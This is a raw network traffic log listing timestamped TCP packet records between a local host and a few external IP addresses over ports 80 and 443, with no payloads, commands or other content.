Oct 24, 2024 08:38:33.007013083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007025003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007066965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007086039 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007098913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007148027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007184982 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007344961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007356882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007368088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007391930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007426977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007592916 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007611990 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007622004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.007646084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.007683992 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.039839029 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.039905071 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.039925098 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.039927006 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.039968014 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.039982080 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.039987087 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.040015936 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.040041924 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.040994883 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.041054964 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.041075945 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.041086912 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.041112900 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.041152954 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.041204929 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.042267084 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.042282104 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.042294979 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:33.042299986 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:33.044701099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044713974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044724941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044734955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044831991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.044832945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.044836998 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044848919 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044862032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.044883966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.044903994 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.045185089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045197010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045207977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045219898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045231104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045232058 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.045279980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.045722961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045733929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045744896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.045768023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.045790911 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.046016932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046034098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046045065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046056032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046066999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046078920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.046117067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.046587944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046598911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046608925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.046641111 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.046657085 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.122457027 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122471094 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122488022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122499943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122512102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122524023 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122536898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122546911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122543097 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.122596025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.122742891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122755051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122771978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.122791052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.122827053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160442114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160454035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160464048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160509109 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160515070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160526991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160537004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160542965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160547972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160554886 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160602093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160625935 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160825968 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160862923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160872936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160881996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160893917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160904884 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160909891 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160948038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160950899 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.160962105 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160973072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.160993099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.161026001 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.161699057 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161716938 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161730051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161746025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.161782980 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.161813974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161825895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161837101 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161848068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.161863089 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.161889076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.237679958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237735987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237754107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237757921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.237766981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237782001 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237792969 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.237793922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237835884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.237855911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237874031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.237896919 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.237932920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.238208055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.238220930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.238233089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.238264084 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.238286018 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.275784016 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275798082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275811911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275830984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275845051 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275852919 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.275856972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275865078 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275880098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.275880098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275903940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.275929928 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.275959015 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.276171923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276213884 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.276274920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276287079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276298046 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276310921 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276319027 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.276323080 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276335955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276346922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276349068 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.276360035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276371956 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.276387930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.276422977 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.277208090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277220964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277256966 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.277256966 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277271986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277282953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277292013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.277295113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.277353048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.352811098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352823973 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352834940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352854967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352865934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352874994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352879047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.352889061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352904081 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352916002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.352935076 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.352962971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.353353024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.353364944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.353377104 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.353399038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.353426933 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.390921116 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.390978098 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.390984058 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.390995026 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391005993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391021013 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391024113 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391033888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391057014 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391097069 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391288042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391330957 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391338110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391345024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391371965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391392946 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391647100 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391658068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391669035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391696930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391732931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391736984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391748905 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391761065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391772032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391777039 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391783953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.391807079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.391854048 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.392163038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392218113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392219067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.392231941 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392242908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392268896 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.392318010 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.392570972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392584085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392595053 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392605066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392620087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.392625093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.392689943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.434030056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.434071064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.434083939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.434092045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.434120893 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.434146881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.434146881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.434161901 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468023062 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468039036 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468050003 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468154907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468161106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468161106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468182087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468197107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468208075 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468214989 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468219995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468225956 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468255043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468296051 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468560934 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468573093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468583107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.468594074 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.468631983 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506222963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506258011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506269932 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506282091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506292105 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506326914 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506326914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506397009 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506412983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506424904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506443024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506453991 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506464958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506469965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506542921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506542921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506911993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506925106 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506937981 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506948948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.506963968 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.506985903 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507270098 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507282019 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507292986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507303953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507323980 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507329941 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507353067 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507395029 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507740974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507751942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507762909 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507776022 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507786036 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507790089 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507802963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.507813931 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.507908106 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.549376011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.549392939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.549406052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.549418926 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.549443960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.549500942 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.556154966 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:33.556652069 CEST	61017	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:33.561603069 CEST	80	61013	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:33.561670065 CEST	61013	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:33.562094927 CEST	80	61017	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:33.562171936 CEST	61017	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:33.562371016 CEST	61017	80	192.168.2.5	185.215.113.43
Oct 24, 2024 08:38:33.567610979 CEST	80	61017	185.215.113.43	192.168.2.5
Oct 24, 2024 08:38:33.583129883 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583164930 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583177090 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583187103 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583189964 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.583216906 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.583285093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583296061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583319902 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.583364964 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.583406925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583417892 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583430052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:33.583455086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.583499908 CEST	61014	80	192.168.2.5	185.215.113.37
